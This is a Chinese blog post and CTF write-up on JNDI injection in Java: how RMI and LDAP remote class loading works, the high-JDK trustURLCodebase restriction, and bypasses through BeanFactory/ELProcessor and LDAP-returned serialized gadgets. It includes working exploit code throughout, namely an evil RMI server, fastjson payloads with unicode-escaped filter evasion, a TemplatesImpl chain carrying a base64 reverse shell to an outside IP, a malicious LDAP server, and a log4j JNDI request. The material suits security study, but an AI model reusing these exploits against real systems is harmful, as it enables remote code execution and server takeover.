前言
本篇文章首发在先知社区(为先知打Call) 作者Zjacky(本人) 先知社区名称: Zjacky
原文链接为https://xz.aliyun.com/t/13793
诶呀这玩意学了蛮久了真的,离大谱,各种事故各种坑点,不过结果还算好都弄清楚了,记录下顺便分享两个CTF案例来进行加深理解,下次遇到高jdk的JNDI就不会那么踉踉跄跄了
JNDI注入原理
JNDI可以访问的目录及服务,比如:DNS、LDAP、CORBA对象服务、RMI等等。
RMI + JNDI
首先上述也讲清楚了,其实JNDI的标准注入就是从RMI
中去寻找对应的名字所对应的Reference
对象,而这个对象是可以任意写地址和类的,所以其实JNDI就是去找这么个东西,可以看如下demo
首先是开启一个RMI的服务器,然后在JNDI的Server端把我们的Reference
对象重新绑定到某个名字下,此时在写了恶意payload的class文件目录下开启http服务,然后用JNDI的客户端直接去lookup
查找rmi服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package jndi;
import method.SayHello;
import javax.naming.InitialContext;
public class JndiClient { public static void main(String[] args) throws Exception { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext initialContext = new InitialContext(); SayHello sayHello = (SayHello)initialContext.lookup("rmi://127.0.0.1:1099/sayhello"); } }
|
来跟一下断点,直接在JndiClient.java
的lookup
方法下断点调试
会先走几个无关紧要的lookup
方法最后会走到对应协议的lookup
方法中,因为我走的是RMI
协议所以最后走到了
\rt.jar!\com\sun\jndi\rmi\registry\RegistryContext.java#lookup()
方法
然后返回的时候把获取到的结果传入decodeObject
方法,跟进下
发现只要是继承了RemoteReference
类,就会调用getObjectInstance
方法继续往下处理,再次跟进下
发现是从引用的变量中获取工厂,调用了getObjectFactoryFromReference
方法 ,继续跟进
发现就已经开始类加载了(我的类是T
)
然后先用 AppClassLoader
寻找本地类
当然这里找不到的话就会走下面的逻辑再次加载
跟进下发现最后会调用URLClasserloader
去远程加载
那么就是相当于会去在我们的路径下去找我们的恶意类
加载之后最后在这里进行类的初始化执行了我们的代码,所以只要一执行完这个代码就会弹计算器了
LDAP + JNDI
一样直接起个LDAP
服务下个断点
经过几层的lookup
方法最后调用到c_lookup
方法中,在这个方法底下会去调用decodeObject
方法将我们传入的ldap对象
跟进decodeObject
方法 ,发现会根据LDAP
查询的结果来进行不同方法的调用,因为LDAP
中会有能够存储很多值比如序列化,引用类 等 ,而我们传入的肯定是引用类于是就走到了引用类的判断方法中
这个方法其实大致了解下即可,就是个去解析我们的Reference
引用对象的
我们直接看将返回的接口做了什么即可,最后在\rt.jar!\com\sun\jndi\ldap\LdapCtx.java
将返回结果传入了DirectoryManager.getObjectInstance
这个方法
跟进下发现跟RMI
差不多一样去调用了getObjectFactoryFromReference
方法去解析我们的引用类
后面代码就是跟RMI一模一样了都是去本地找类找不到用URLClassLoader
去远程加载类了
高版本限制
其实在之前讲的原理当中可以知道,在jdk8u191之前都是存在这些的,虽然说ldap是低版本的绕过,问题其实也就是可以去远程加载类
然后更改到jdk8u201之后就不行了,具体改了什么继续调试下
跟到D:\Environment-Java\java-1.8.0_201\src.zip!\javax\naming\spi\DirectoryManager.java
的关键代码 跟进下
进行加载类
本地类加载不成功后看远程类加载的逻辑
跟进后发现有一个属性叫trustURLCodebase
要等于true
才能够进行远程加载,而默认的trustURLCodebase
是被设置成了false
也就是说,只要人为不修改,就不会存在远程加载类的行为了,那也就是说这个远程加载类就是被修复了
绕过
但是转过头来一想,我们远程加载被修复了,但是还可以本地加载
所以对于JDK8u191以后得版本来说,默认环境下之前这些利用方式都已经失效。然而,我们依然可以进行绕过并完成利用。两种绕过方法如下:
- 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令
- 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行
这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。我们先来看一些基本概念,然后再分析这两种绕过方法。
利用本地恶意Class作为Reference Factory
看名字其实很帅,但是调试一下就可以很清楚理解了
在D:\Environment-Java\java-1.8.0_201\jre\lib\rt.jar!\com\sun\jndi\ldap\Obj.java
中会去把LDAP
或者RMI
所解析得到的Reference
解出来
紧接着跟进到D:\Environment-Java\java-1.8.0_201\src.zip!\javax\naming\spi\DirectoryManager.java#getObjectFactoryFromReference()
可以发现他是接收了两个传参,一个是引用类,另一个是引用类的工厂名字
并且返回的类型是ObjectFactory
类(ObjectFactory
其实是一个接口)
之后这个工厂类去调用了getObjectInstance
方法,那么现在思路就有了,如果我们去找的是本地的工厂类,并且这此类实现了ObjectFactory
接口并且他还有getObjectInstance
方法,而getObjectInstance
这个方法还有危险的操作,那么就可以进行一个利用了(说起来感觉条件很苛刻)
但实际上真的有这个类,org.apache.naming.factory.BeanFactory
我们去看看这个类
实现了ObjectFactory
接口
存在getObjectInstance
方法
有一个反射的方法,该类的getObjectInstance()
函数中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference
对象,均是攻击者可控的。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package jndi.bypass;
import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class EvilRMIServer { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(3377); ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd', '/c', 'calc']).start()\")")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); } }
|
利用LDAP返回序列化数据,触发本地Gadget
其实这里就是在分析LDAP+JNDI的时候他有个类似swich的东西,当时传入的是引用类,所以走了引用类的逻辑,但是如果我们传入的是序列化的对象,并且后续会被反序列化,那么就相当于存在了一个天然的反序列化入口了,就可以触发本地的Gadget了
本地调试下 先添加CC的依赖
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
1
| java -jar y4-yso.jar CommonsCollections6 "calc" > 1.ser | base64
|
然后传进ldapserver
1
| java -jar LDAPServer.jar 127.0.0.1 1.txt
|
然后直接去JNDI查询
1
| SayHello sayHello = (SayHello)initialContext.lookup("ldap://127.0.0.1:6666/Evail");
|
调试一下
会走到序列化的逻辑进行反序列化
总结
这里要注意的点就是 RMI和LDAP都是需要出网的环境进行远程方法调用或者是目录名称查询,所以都是可以操作的,下图是两种方式的jdk适配版本总结,那么其实绕过跟一遍断点即可理解完,都是一些攻防博弈,非常值得学习
案例分析
湖南邀请赛 - Login
tips: 本地是用的是jdk8u65起的
明显login
路由这存在一个打fastjson
的入口,屏蔽了关键字,看依赖是1.2.47
的fastjson
第一反应肯定是打以下的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import com.alibaba.fastjson.JSON;
public class Fastjson6 { public static void main(String[] args) throws Exception{ String payload = "{\n" + " \"a\":{\n" + " \"@type\":\"java.lang.Class\",\n" + " \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" + " },\n" + " \"b\":{\n" + " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" + " \"dataSourceName\":\"rmi://127.0.0.1:1099/evilObject\",\n" + " \"autoCommit\":true\n" + " }\n" + "}"; JSON.parse(payload); } }
|
由于过滤了关键字,可以直接用hex
跟 unicode
去绕过即可,本地尝试打一下
1
| {"username":{"@\u0074\u0079\u0070\u0065": "java.lang.Class","val":"com.sun.rowset.\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"password":{"@\u0074\u0079\u0070\u0065": "com.sun.rowset.\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"rmi://127.0.0.1:1099/qv9wk6","\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074":true}}
|
但打远程的时候发现就不可以,那么仔细去分析一下,其实会发现有以下几个原因
- fastjson不出网
- 使用的jdk并不是8u65 而是别的jdk
首先第一个 打不出网的fastjson打TemplatesImpl
的话并没有开启私有可访问的参数Feature.SupportNonPublicField
,C3P0
,Commons-io
,BCEL
都没有这些依赖,因为依赖非常的清楚只有这些
那么我们再来看看他的pom.xml
1 2 3 4 5 6
| <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>4.0.8</version> <scope>test</scope> </dependency>
|
发现存在一个用于与 LDAP
目录服务器进行通信的一个依赖,所以考虑了下这绕过高版本jdk(本地我换了jdk8u201)实现jndi注入打CC链,所以直接起一个恶意的jndi返回CC6的恶意序列化值即可打反序列化了
1
| {"username":{"@\u0074\u0079\u0070\u0065": "java.lang.Class","val":"com.sun.rowset.\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"password":{"@\u0074\u0079\u0070\u0065": "com.sun.rowset.\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://127.0.0.1:6666/Evail","\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074":true}}
|
但是当时的提示如下
只是后半段是用了temp去改了下CC6的后半段用了CC3的加载字节码来加载恶意类罢了,但看代码也没过滤Runtime啊,直接打命令执行弹shell就好了把,为了贴合题目提示要求,也写了下加载字节码的,也能成功弹出计算机
[HZNUCTF 2023 final]ezjava
知识点: log4j2 + fastjson原生反序列化 + 高版本JNDI注入绕过
访问后提示能够log
你的uri
并且提示fastjson 1.2.48
先想到的是log4j
于是用log4j的payload去打一下先
发现java版本为jdk1.8.0_222
,因为在log4j打的其实就是JNDI注入,所以第一时间想到的就是 此版本已经是jdk8u191之后了,所以就不能够进行远程加载类了,那再探测下fastjson
的1.2.83使用通用的链子来打一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| package Fastjson; import com.alibaba.fastjson.JSONArray; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap;
public class F83 { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static byte[] genPayload(String cmd) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");"); clazz.addConstructor(constructor); clazz.getClassFile().setMajorVersion(49); return clazz.toBytecode(); }
public static void main(String[] args) throws Exception {
TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", new byte[][]{genPayload("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTIuMTM2LjQ2LjI4Lzc5NzkgMD4mMQ==}|{base64,-d}|{bash,-i}")}); setValue(templates, "_name", "qiu"); setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null); setValue(bd, "val", jsonArray);
HashMap hashMap = new HashMap(); hashMap.put(templates, bd);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(hashMap); objectOutputStream.close(); byte[] serialize = byteArrayOutputStream.toByteArray(); System.out.println(Base64.getEncoder().encodeToString(serialize));
}}
|
但由于jdk高版本的限制所以要用到一些手法绕过,这里用的就是LDAP返回序列化字符串来打反序列化了
起一个恶意的LDAPServer,里面加载了恶意的序列化数据
LDAPServer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| package JNDIBypass;
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.util.Base64; import org.apache.commons.io.FileUtils;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.io.File; import java.io.IOException; import java.net.InetAddress; import java.net.URL;
public class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] tmp_args ) throws Exception{ if (tmp_args.length < 2) { System.out.println("Usage: java xxx.jar <IP> <file>"); System.exit(1); }
String ip = tmp_args[0]; String[] args = new String[]{"http://" + ip +"/#Evail"}; String payload = ""; File file = new File(tmp_args[1]); try { payload = FileUtils.readFileToString(file); System.out.println(payload); } catch (IOException e) { e.printStackTrace(); }
int port = 6666;
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]), payload)); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase; private String payload;
public OperationInterceptor ( URL cb , String payload) { this.codebase = cb; this.payload = payload; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e, payload); } catch ( Exception e1 ) { e1.printStackTrace(); } }
protected void sendResult (InMemoryInterceptedSearchResult result, String base, Entry e , String payload) throws Exception { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); }
e.addAttribute("javaSerializedData", Base64.decode(payload)); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
|
以jar的形式开启,并且传入序列化的值
1
| java -jar LDAPServer.jar ip 1.txt
|
然后用JNDI去找IP+PORT即可成功反弹
1 2 3 4 5 6 7
| GET /{{urlenc(${jndi:ldap://152.136.46.28:6666/Evail})}} HTTP/1.1 Host: node5.anna.nssctf.cn:28379 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
|